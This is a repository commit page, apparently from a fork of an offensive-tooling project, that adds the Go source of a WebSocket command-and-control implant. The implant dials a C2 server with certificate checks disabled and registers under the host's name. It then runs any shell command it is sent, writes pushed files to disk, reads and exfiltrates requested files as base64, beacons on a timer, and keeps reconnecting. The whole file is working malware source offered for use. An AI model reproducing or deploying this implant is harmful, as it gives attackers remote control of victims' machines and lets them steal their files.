forked from ek0mssavi0r/noPROXY_c2s
Upload files to "c2_websocket_abuse/cmd/client"
This commit is contained in:
parent
23b64ddb9d
commit
8926a1142f
338
c2_websocket_abuse/cmd/client/main.go
Normal file
338
c2_websocket_abuse/cmd/client/main.go
Normal file
|
|
@ -0,0 +1,338 @@
|
|||
package main
|
||||
|
||||
import (
|
||||
"crypto/tls"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"flag"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
"os/signal"
|
||||
"strings"
|
||||
"sync"
|
||||
"syscall"
|
||||
"time"
|
||||
|
||||
"github.com/gorilla/websocket"
|
||||
|
||||
"github.com/churchofmalware/c2-websocket-abuse/pkg"
|
||||
)
|
||||
|
||||
// implant identity
|
||||
type implant struct {
|
||||
id string
|
||||
serverURL string
|
||||
beaconSeconds int
|
||||
|
||||
conn *websocket.Conn
|
||||
connMu sync.Mutex
|
||||
done chan struct{}
|
||||
}
|
||||
|
||||
func (im *implant) connect() error {
|
||||
im.connMu.Lock()
|
||||
defer im.connMu.Unlock()
|
||||
|
||||
if im.conn != nil {
|
||||
im.conn.Close()
|
||||
}
|
||||
|
||||
tlsConfig := &tls.Config{
|
||||
InsecureSkipVerify: true, // accept self-signed certs
|
||||
}
|
||||
|
||||
dialer := websocket.Dialer{
|
||||
TLSClientConfig: tlsConfig,
|
||||
HandshakeTimeout: 10 * time.Second,
|
||||
}
|
||||
|
||||
conn, _, err := dialer.Dial(im.serverURL, nil)
|
||||
if err != nil {
|
||||
return fmt.Errorf("dial: %w", err)
|
||||
}
|
||||
|
||||
im.conn = conn
|
||||
|
||||
// Register immediately
|
||||
regMsg := protocol.NewMessage(protocol.TypeRegister, im.id, "")
|
||||
if err := conn.WriteJSON(regMsg); err != nil {
|
||||
conn.Close()
|
||||
im.conn = nil
|
||||
return fmt.Errorf("register: %w", err)
|
||||
}
|
||||
|
||||
log.Printf("Connected to %s as %s", im.serverURL, im.id)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (im *implant) send(msg *protocol.Message) error {
|
||||
im.connMu.Lock()
|
||||
defer im.connMu.Unlock()
|
||||
if im.conn == nil {
|
||||
return fmt.Errorf("not connected")
|
||||
}
|
||||
return im.conn.WriteJSON(msg)
|
||||
}
|
||||
|
||||
func (im *implant) sendResult(id, data string) {
|
||||
msg := protocol.NewResult(id, data)
|
||||
im.send(msg)
|
||||
}
|
||||
|
||||
func (im *implant) sendError(id, errStr string) {
|
||||
msg := protocol.NewErrorMessage(id, errStr)
|
||||
im.send(msg)
|
||||
}
|
||||
|
||||
func (im *implant) handleMessage(raw []byte) {
|
||||
msg, err := protocol.UnmarshalMessage(raw)
|
||||
if err != nil {
|
||||
log.Printf("Bad message: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
switch msg.Type {
|
||||
case protocol.TypeExec:
|
||||
im.handleExec(msg)
|
||||
case protocol.TypeUpload:
|
||||
im.handleUpload(msg)
|
||||
case protocol.TypeDownload:
|
||||
im.handleDownload(msg)
|
||||
case protocol.TypeBeacon:
|
||||
im.handleBeacon(msg)
|
||||
case protocol.TypePing:
|
||||
im.handlePing(msg)
|
||||
case protocol.TypeExit:
|
||||
im.handleExit()
|
||||
case protocol.TypeHeartbeat:
|
||||
// Server sending heartbeat back — ignore, handled by ticker
|
||||
default:
|
||||
log.Printf("Unknown command type: %s", msg.Type)
|
||||
}
|
||||
}
|
||||
|
||||
func (im *implant) handleExec(msg *protocol.Message) {
|
||||
cmdStr := strings.TrimSpace(msg.Data)
|
||||
if cmdStr == "" {
|
||||
im.sendError(msg.ID, "empty command")
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("Executing: %s", cmdStr)
|
||||
|
||||
var cmd *exec.Cmd
|
||||
if strings.ContainsAny(cmdStr, "|&;><$`\\") {
|
||||
// Complex shell — use sh -c
|
||||
cmd = exec.Command("/bin/sh", "-c", cmdStr)
|
||||
} else {
|
||||
parts := strings.Fields(cmdStr)
|
||||
if len(parts) == 0 {
|
||||
im.sendError(msg.ID, "empty command")
|
||||
return
|
||||
}
|
||||
cmd = exec.Command(parts[0], parts[1:]...)
|
||||
}
|
||||
|
||||
output, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
result := fmt.Sprintf("exit: %v\n%s", err, string(output))
|
||||
im.sendError(msg.ID, result)
|
||||
return
|
||||
}
|
||||
|
||||
im.sendResult(msg.ID, string(output))
|
||||
}
|
||||
|
||||
func (im *implant) handleUpload(msg *protocol.Message) {
|
||||
// Format: remote_path|base64data
|
||||
parts := strings.SplitN(msg.Data, "|", 2)
|
||||
if len(parts) != 2 {
|
||||
im.sendError(msg.ID, "invalid upload format")
|
||||
return
|
||||
}
|
||||
|
||||
remotePath := parts[0]
|
||||
encoded := parts[1]
|
||||
|
||||
data, err := base64.StdEncoding.DecodeString(encoded)
|
||||
if err != nil {
|
||||
im.sendError(msg.ID, fmt.Sprintf("base64 decode error: %v", err))
|
||||
return
|
||||
}
|
||||
|
||||
if err := os.WriteFile(remotePath, data, 0644); err != nil {
|
||||
im.sendError(msg.ID, fmt.Sprintf("write file error: %v", err))
|
||||
return
|
||||
}
|
||||
|
||||
im.sendResult(msg.ID, fmt.Sprintf("uploaded %s (%d bytes)", remotePath, len(data)))
|
||||
}
|
||||
|
||||
func (im *implant) handleDownload(msg *protocol.Message) {
|
||||
remotePath := msg.Data
|
||||
data, err := os.ReadFile(remotePath)
|
||||
if err != nil {
|
||||
im.sendError(msg.ID, fmt.Sprintf("read file error: %v", err))
|
||||
return
|
||||
}
|
||||
|
||||
encoded := base64.StdEncoding.EncodeToString(data)
|
||||
im.sendResult(msg.ID, fmt.Sprintf("%s|%s", remotePath, encoded))
|
||||
}
|
||||
|
||||
func (im *implant) handleBeacon(msg *protocol.Message) {
|
||||
var seconds int
|
||||
if _, err := fmt.Sscanf(msg.Data, "%d", &seconds); err != nil || seconds < 1 {
|
||||
im.sendError(msg.ID, "invalid beacon interval")
|
||||
return
|
||||
}
|
||||
im.beaconSeconds = seconds
|
||||
im.sendResult(msg.ID, fmt.Sprintf("beacon interval set to %ds", seconds))
|
||||
}
|
||||
|
||||
func (im *implant) handlePing(msg *protocol.Message) {
|
||||
pong := &protocol.Message{
|
||||
Type: protocol.TypePong,
|
||||
ID: msg.ID,
|
||||
Data: "pong",
|
||||
}
|
||||
im.send(pong)
|
||||
}
|
||||
|
||||
func (im *implant) handleExit() {
|
||||
log.Printf("Exit command received, disconnecting.")
|
||||
im.sendResult("", "disconnecting")
|
||||
// Close connection; reconnect loop will not restart
|
||||
close(im.done)
|
||||
}
|
||||
|
||||
// heartbeatLoop sends periodic heartbeats.
|
||||
func (im *implant) heartbeatLoop() {
|
||||
ticker := time.NewTicker(time.Duration(im.beaconSeconds) * time.Second)
|
||||
defer ticker.Stop()
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-ticker.C:
|
||||
heartbeat := protocol.NewMessage(protocol.TypeHeartbeat, im.id, "")
|
||||
if err := im.send(heartbeat); err != nil {
|
||||
log.Printf("Heartbeat send error: %v", err)
|
||||
return
|
||||
}
|
||||
case <-im.done:
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// readLoop reads messages from the WebSocket in a goroutine.
|
||||
func (im *implant) readLoop() {
|
||||
defer func() {
|
||||
im.connMu.Lock()
|
||||
if im.conn != nil {
|
||||
im.conn.Close()
|
||||
}
|
||||
im.connMu.Unlock()
|
||||
}()
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-im.done:
|
||||
return
|
||||
default:
|
||||
}
|
||||
|
||||
_, raw, err := im.conn.ReadMessage()
|
||||
if err != nil {
|
||||
if websocket.IsUnexpectedCloseError(err, websocket.CloseGoingAway, websocket.CloseNormalClosure) {
|
||||
log.Printf("Read error: %v", err)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// Handle ping frames
|
||||
if string(raw) == "keepalive" {
|
||||
continue
|
||||
}
|
||||
|
||||
// Try JSON frame
|
||||
var js json.RawMessage
|
||||
if json.Unmarshal(raw, &js) != nil {
|
||||
continue // not JSON, skip
|
||||
}
|
||||
|
||||
im.handleMessage(raw)
|
||||
}
|
||||
}
|
||||
|
||||
func main() {
|
||||
serverURL := flag.String("server", "wss://127.0.0.1:8443/ws", "C2 server WebSocket URL")
|
||||
implantID := flag.String("id", "", "Implant ID (auto-generated if empty)")
|
||||
interval := flag.Int("interval", 60, "Heartbeat/beacon interval in seconds")
|
||||
flag.Parse()
|
||||
|
||||
id := *implantID
|
||||
if id == "" {
|
||||
hostname, _ := os.Hostname()
|
||||
id = fmt.Sprintf("%s-%d", hostname, time.Now().UnixNano()%1000000)
|
||||
}
|
||||
|
||||
im := &implant{
|
||||
id: id,
|
||||
serverURL: *serverURL,
|
||||
beaconSeconds: *interval,
|
||||
done: make(chan struct{}),
|
||||
}
|
||||
|
||||
// Handle OS signals
|
||||
sigCh := make(chan os.Signal, 1)
|
||||
signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
|
||||
|
||||
log.Printf("WebSocket Abuse C2 Implant starting")
|
||||
log.Printf(" ID: %s", im.id)
|
||||
log.Printf(" Server: %s", im.serverURL)
|
||||
log.Printf(" Interval: %ds", im.beaconSeconds)
|
||||
|
||||
// Reconnect loop with exponential backoff
|
||||
backoff := 1 * time.Second
|
||||
maxBackoff := 60 * time.Second
|
||||
|
||||
for {
|
||||
if err := im.connect(); err != nil {
|
||||
log.Printf("Connection failed: %v (retry in %v)", err, backoff)
|
||||
select {
|
||||
case <-time.After(backoff):
|
||||
backoff *= 2
|
||||
if backoff > maxBackoff {
|
||||
backoff = maxBackoff
|
||||
}
|
||||
continue
|
||||
case <-im.done:
|
||||
return
|
||||
}
|
||||
}
|
||||
backoff = 1 * time.Second // reset on successful connect
|
||||
|
||||
// Start reader and heartbeat
|
||||
go im.readLoop()
|
||||
go im.heartbeatLoop()
|
||||
|
||||
// Wait for disconnect or signal
|
||||
select {
|
||||
case <-sigCh:
|
||||
log.Printf("Signal received, shutting down.")
|
||||
close(im.done)
|
||||
im.connMu.Lock()
|
||||
if im.conn != nil {
|
||||
im.conn.WriteMessage(websocket.CloseMessage, websocket.FormatCloseMessage(websocket.CloseNormalClosure, "shutdown"))
|
||||
im.conn.Close()
|
||||
}
|
||||
im.connMu.Unlock()
|
||||
return
|
||||
case <-im.done:
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
Loading…
Reference in New Issue
Block a user